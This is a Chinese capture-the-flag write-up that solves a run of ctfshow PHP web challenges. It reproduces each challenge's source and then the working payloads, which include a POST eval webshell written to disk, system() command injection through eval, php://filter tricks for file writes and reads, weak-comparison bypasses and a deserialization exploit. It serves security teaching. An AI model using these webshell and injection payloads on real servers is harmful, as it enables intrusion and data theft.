search 必需。规定要在数组搜索的值。
array 必需。规定要搜索的数组。
type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。

说明

如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。

如果没有在数组中找到参数,函数返回 false。

注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。

这里in_array()函数在没有第三个值得时候会进行弱比较,也就是存在强制转换,即333.php此时会被转换为333,所以思路为数字命名.php文件,写入webshell。payload如下

1
2
?n=4.php
[POSTdata]为 content=<?php @eval($_POST[a]);?>

随后访问webshell

1
2
3
4
4.php
【POSTdata】为
a=system("ls");
a=system("tac flag36d.php");

web100

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}
?>

创建一个对象,传入3个值,并使用is_numeric()函数判断变量是否为数字或数字字符串,如果 var 是数字和数字字符串则返回 **TRUE**,否则返回 **FALSE**。 如果TRUE则判断v2,v3是否带有分号。

看到最后eval,肯定是需要命令执行,这需要$v2传入命令(system),$v3需要;结尾,但这么一来就变成了

1
$vo = $v1 and FALSE and FAlse

但php有运算的优先级,也就是&& > = > and

1
$vo = TRUE and FALSE and FAlse

按照运算优先级,先执行=也就是赋值给$vo为true,false就被忽略了,所以我们正常构造payload即可

1
2
?v1=1&v2=system("ls")&v3=;
?v1=1&v2=system("tac ctfshow.php")&v3=;

拿到 flag_is_5dc3b6e70x2dfd860x2d43190x2da7530x2d76d4762a84a4

0x2d替换成-

ctfshow{5dc3b6e7-fd86-4319-a753-76d4762a84a4}

另一种解法,题目说//flag in class ctfshow;所以我们可以var_dump看看咯

1
?v1=1&v2=var_dump($ctfshow)&v3=;

同样可以拿到flag

web101

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

?>

与上一把不同的就是过滤变多了,所以上把payload不能用了。这题使用的是类反射的知识

PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类
$instance = $class->newInstanceArgs($args); // 相当于实例化ctfshow类

payload

1
?v1=1&v2=echo new Reflectionclass&v3=;

$flag_8478ef7b0x2d35a10x2d49300x2d9b4b0x2d526964cb7f7 ]

0x2d改成-

ctfshow{8478ef7b-35a1-4930-9b4b-526964cb7f7} 末尾还缺一位,0-9 a-f ,一共16中可能,试一下是1

ctfshow{8478ef7b-35a1-4930-9b4b-526964cb7f71}

web102

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}

?>

了解函数

is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true

substr() 截取字符串

call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数

file_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容

我们需要输入v1v2v3,先保证v2为纯数字或数字字符串v4才能为真,随后从下标为2开始截取v2赋值给s,s作为参数到v1执行结果赋值给str,最后将str写入v3。所以v1我们要传入一个方法

思路:将payload先以base64加密,再以16进制加密

1
2
3
4
5
6
7
8
9
10
<?php
$b = base64_encode('<?=`tac *`;');
$b = str_replace("=","",$b);
echo "base64加密后:".$b."\n";
$a = call_user_func('bin2hex',$b);
echo "16进制形式:".$a."\n";
var_dump(is_numeric($a));
/*运行结果base64加密后:PD89YHRhYyAqYDs
16进制形式:504438395948526859794171594473
bool(true)*/
1
2
3
4
?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=2.php

post:
v1=hex2bin
随后访问2.php文件即可,flag在源码中 ​ ### web103 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

?>
源码与上一关一样,只是多了一步检查$str步骤过滤php,但是我们$str = call_user_func($v1,$s);执行之后并不存在php字符串,而是一串base64编码的的东西 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web103.jpg) 使用上一关的payload
1
2
3
4
?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=2.php

post:
v1=hex2bin
flag在源码里 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web103-1.jpg) ​ ### web104
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
本题考的是sha()的弱比较,考的sha1函数特性,sha1()函数无法处理数组类型,会返回NULL,if条件就成立了,所以payload为 更多弱类型比较请翻阅web97的html文件
1
2
3
?v2[]=2
POST:
v1[]=1
![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/104.jpg) ​ ### web105
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){ //若?MTRleed=test => $key=MTRleed,$value=test 就是参数和值
if($key==='error'){ //参数为error则输出"what are you doing?!"
die("what are you doing?!");
}
$$key=$$value; //否则$MTRleed=$test
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value; //若error=MTRleed => $key=error,$value=MTRleed
//那么$$key=$$value => $error=$MTRleed=$test
}
if(!($_POST['flag']==$flag)){ //检查提交的flag参数的值是否与$flag的值相等。如果不相等,输出错误信息并停执行
die($error);
} //从上面foreach的POST过滤中不难发现,$flag的值为flag
echo "your are good".$flag."\n"; //否则连接$flag输出
die($suces);

?>
你还想要flag嘛?
本题考察变量覆盖,关键点在$$key=$$value,这里把$key的值当作了变量
1
2
3
4
一共有3个变量:
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
$flag 未知
1
2
3
例如 $key=flag  则$$key=$flag
若$hell="abc";
$$hell="def";等同于$abc="def";
在这段源码中,GET 和 POST 的参数和值是可以进行交互的,我们可以在不同的请求中使用相同的变量名来访问和操作它们。 所以:通过die($error)或die($suces)可以输出flag,根据源码猜测$flag的值为flag 解法1:因为`if(!($_POST['flag']==$flag)){ die($error); }`。要得到 error=flag,GET中error不能在等号左边,POST中flag不能在等号右边,所以一定要有个中间量error=a=flag。只要不成立就会输出`$error`,我们可以在GET把flag赋值给a,然后再把a赋值给error,那么当die()时会执行$error就能显示flag了 那么通过die($error)输出flag,首先用GET把$flag的值(flag)传给$a,接着再用POST把$a的值传给$error,于是$error的值就是flag,再通过if判断die($error)输出就是flag 流程为:$flag=ctfshow{xxxxx},?a=flag,通过第一个for循环,也就是$a=$flag,$a=ctfshow{xxxxx},接着再通过第二个for循环,$error=$a,此时$error=ctfshow{xxxxx}
1
2
3
4
5
6
7
?a=flag

post:
error=a

执行了die($error);
输出:ctfshow{84f6fdac-4317-4237-8e49-2e38a3d1dc8c}
解法2:通过`die($suces)`输出flag,首先我们把flag的值传给suces变量,接着再把flag的值随便一个(不为flag就行),达到下面 `if(!($_POST['flag']==$flag))`, if条件POST参数为0不执行的目的,往下执行,`die($suces)`即可把flag输出 流程为:`suces=flag&flag=aaa` 第一个foreach使`$suces=$flag`,因为foreach会遍历所有 所以同时会使$flag=$aaa 第二个foreach因为没用到POST,所以过不执行 然后`if(!($_POST['flag']==$flag))`判断,`$_POST`没用到而`$flag=$aaa`为空,所以`$_POST==$flag`两者都为空 最后输出$suces
1
2
3
4
?suces=flag&flag=aaa

执行了echo "your are good".$flag."\n";
输出:your are good ctfshow{84f6fdac-4317-4237-8e49-2e38a3d1dc8c}
### web106 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:38:27

*/
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}

?>

考点是PHP弱类型比较,sha1不能处理数组,会返回null,所以我们给v1v2都赋予数组,即可相等
1
2
3
4
payload:
?v2[]=2
POSTDATA:
v1[]=1
### web107
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:24:14
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2); //将v1赋给v2
if($v2['flag']==md5($v3)){
echo $flag;
}

}
?>

考点一 > > > parse_str() 函数:将字符串解析成多个变量 > > parse_str()的使用: > >
1
2
3
4
5
6
7
8
9
10
11
12
<?php$str = "first=value&arr[]=foo+bar&arr[]=baz";
// 推荐用法
parse_str($str, $output);
echo $output['first']; // valueecho
$output['arr'][0]; // foo barecho
$output['arr'][1]; // baz
// 不建议这么用
parse_str($str);
echo $first; // valueecho
$arr[0]; // foo barecho
$arr[1]; // baz
?>
> > 考点二: 弱类型比较md5,无法处理数组,默认返回null,所以我们只要构造flag的值为数组,v3的值也为数组即可
1
2
3
4
payload:
?v3[]=3
POSTDATA:
v1="flag=a[]=1"或 v1=flag=
![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web107.png) ### web108
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
error
考点一 > ereg()函数:正则匹配函数,匹配到目标字符串(只能处理字符串)返回ture否则false,可以%00绕过 > > intval()函数:获取变量的整数值 > > 例如: > $a=12.2; > intval($a)=12 > > strrev()函数:反转字符串 > 例如:$a=abc e > strrev($a)=e cba 考点二 十六进制的弱类型比较,和十进制是相等的 本题中`0x36d`为十进制的877,所以思路是绕过ereg()函数后构造877与`0x36d`比较
1
2
payload:
?c=a%0033.778(任意字符串%00任意数字.778)
![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web108.png) ### web109
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}

存在`eval()`函数,应该是要执行系统命令。 关键在这`eval("echo new $v1($v2());")` eval 函数是一个强大的 PHP 函数,它接受一个字符串作为参数,并将其作为 PHP 代码进行执行。 new $v1($v2()) 是一个对象实例化的过程。 $v1 和 $v2 是变量,它们的值将在运行时确定。在这里,$v1 是一个类名,$v2() 是一个函数调用。 根据代码的上下文,我们可以猜测 $v1 可能是一个类名,而 $v2 可能是一个函数名。$v2() 表示调用 $v2 所代表的函数,并获取其返回值。因为后面有一对圆括号 (),所以我们可以假设 $v2 是一个函数。new $v1($v2()) 表示创建 $v1 所代表的类的一个实例,并将 $v2() 的返回值作为构造函数的参数传递给它。最后,echo 用于输出这个对象实例。 **Exception** 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类 **ReflectionClass** 或者 **ReflectionMethod** 都为常用的反射类,可以理解为一个类的映射 那么
1
2
3
4
payload:
?v1=ReflectionFunction&v2=system('ls') //ReflectionFunction表示通过反射创建一个函数的实例,也可以使用Exception 异常处理类,ls查看文件。得知存在fl36dg.txt文件
?v1=ReflectionFunction&v2=system('tac fl36dg.txt')
或者也可以直接访问文件 fl36dg.txt
### web110
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:49:10
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
只是多了一堆过滤 考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php 因为这里正则进行了匹配,我们可以使用FilesystemIterator文件系统迭代器来进行利用,通过新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构,payload为 getcwd()函数 获取当前工作目录 返回当前工作目录
1
2
payload: 
?v1=FilesystemIterator&v2=getcwd
![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web110-1.png) 随后可以直接访问flag文件即可 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web110-2.png) ### web111
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
这次依然考点在于变量覆盖(知识点忘记的话去温习一下web105),首选需要`v1`含有ctfshow才能过正则,执行getflag函数,所以`v1=ctfshow`,接着再getflag函数里,会把v2的地址传给v1,接着再输出v1,这里我们可以使用php里的全局变量GLOBALS > $GLOBALS :引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
1
2
payload:
?v1=ctfshow&v2=GLOBALS
执行过程就是`$ctfshow=&$GLOBALS`(全局变量中会含有flag的变量),接着再通过var_dump输出$ctfshow ### web112
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
像是文件包含 首先了解几个函数 > **is_file()** 函数检查指定的文件名是否是正常的文件 > > **filter()** 函数用于对来自非安全来源的数据(比如用户输入)进行验证和过滤 这里首先if语句里需要我们传入的不是文件类型才能执行highlight_file语句来读取flag文件,也就是一个绕过的考点,我们使用`php伪协议`即可,所以payload为
1
2
3
4
5
6
?file=php://filter/resource=flag.php

还有其他:?file=
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
### web113
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:52
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
在前面基础上过滤了filter协议,那我们换另一个协议,使用压缩流zlib://
1
?file=compress.zlib://flag.php
### web114
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:02:53
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!
在前面基础上过滤压缩流zlib://还有编码器convert,但是又没过滤filter,所以用前面的payload
1
?file=php://filter/resource=flag.php
### web115
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
了解函数 > str_replace()函数:子字符串替换(a,b,c)a被b替换c为结果 > is_numeric()函数:检测变量是否为数字或数字字符串 > trim()函数:去除字符串首尾处的空白字符(或者其他字符) 这里用了is_numeric来判断是不是数字,并且if条件里规定trim($num)移除字符串两侧的字符不能等于36,但后面的if需要等于36才能输出flag,而且自定义函数filter也把16进制和8进制等等封死了,需要绕过过滤,写个脚本看看
1
2
3
4
5
6
7
<?php
for ($i = 0; $i <= 128; $i++) {
$a = chr($i) . '36';
if (trim($a) !== '36' && is_numeric($a)) {
echo urlencode(chr($i)) . "\n";
}
}
发现`%0C`,也就是`\f`分页符可以利用,不会被trim过滤掉,而intval和is_numeric都会忽略这个字符,所以payload为
1
?num=%0c36
### web123
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
看到后面有个eval()函数会执行`$c`,所以我们就关注$c和if判断需要的两个post即可 在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有`空格、+、[`则会被转化为`_`,所以按理来说我们构造不出`CTF_SHOW.COM`这个变量(因为含有`.`),但php中有个特性就是如果传入`[`,它被转化为`_`之后,后面的字符就会被保留下来不会被替换,所以payload为
1
2
3
?c=18
POSTDATA:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
这里可能有小伙伴有疑问,为什么`$c`的参数是字符串,不是要和18做比较吗?我们看看这里PHP的字符串与数字的关系。数字字符串可以转换成对应数字,但是纯字符串为0 ![](https://cdn.jsdelivr.net/gh/MTRleed/PicGo/web1000/web123.png) ## 反序列化(254-278) 做php反序列化的题总会遇到魔术方法,其实就是一种特殊方法当对对象执行某些操作时会覆盖 PHP 的默认操作。常见魔术方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__construct 当一个对象创建时被调用,

__destruct 当一个对象销毁时被调用,

__toString 当一个对象被当作一个字符串被调用。

__destruct() 对象被销毁时触发

__call() 对不存在的方法或者不可访问的方法进行调用就自动调用

__callStatic() 在静态上下文中调用不可访问的方法时触发

__get() 用于从不可访问的属性读取数据

__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

__isset() 在不可访问的属性上调用isset()或empty()触发

__toString() 把类当作字符串使用时触发,返回值需要为字符串

__invoke() 当脚本尝试将对象调用为函数时触发

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息
注意点:当访问控制修饰符(public、protected、private)不同时,序列化后的结果也不同
1
2
3
public          被序列化的时候属性名 不会更改
protected 被序列化的时候属性名 会变成 %00*%00属性名
private 被序列化的时候属性名 会变成 %00类名%00属性名
PHP序列化的一些字母标识:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
a - array //数组

b - boolean //布尔型

d - double //双精度型

i - integer //整型

o - common object //公共对象

r - reference //对象引用

s - string //字符串型

C - custom object //自定义对象

O - class //类

N - null //空

R - pointer reference //指针引用

U - unicode string //Unicode 编码的字符串

N - NULL 空
例如:
1
O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}
O代表类,然后后面11代表类名长度,接着双引号内是类名 然后是类中变量的个数:{类型:长度:"值";类型:长度:"值"...以此类推} ### web254
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
//定义好的类和方法
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

//程序开始的地方
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这道题和反序列化没什么关系,主要看类的调用。因为账号密码都给了,直接用就可以了。传入两个get参数,分别是`username`和`password`,然后用new实例化`ctfShowUser`这个类,接着调用`login`这个方法,可以看到如果用户名和密码都正确的话就把true赋值给`isVip`,然后就是进入`checkVip`和`vipOneKeyGetFlag`方法获得flag。所以payload为
1
?username=xxxxxx&password=xxxxxx  //账号密码用设置好的才可以
### web255
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这题和上一题的区别是在类里面没有对`isVip`属性进行赋值`true`,所以我们需要想办法把`isVip`赋值成`true`才能获得flag;观察可以看到会对`cookie`中的`user`进行反序列化,所以这里是一个漏洞点,我们可以往这里传入序列化的字符串,通过反序列化把`isVip`赋值成true。 本地新建一个php文件,对类`ctfShowUser`赋值,然后进行序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
#-- coding: utf-8 --
#Author: MTRleed
#file: web255.php
#time: 2023/10/8 14:34
class ctfShowUser
{
public $username = 'xxxxxx';
public $password = 'xxxxxx';
public $isVip = true;
}

$a = new ctfShowUser();
echo serialize($a);
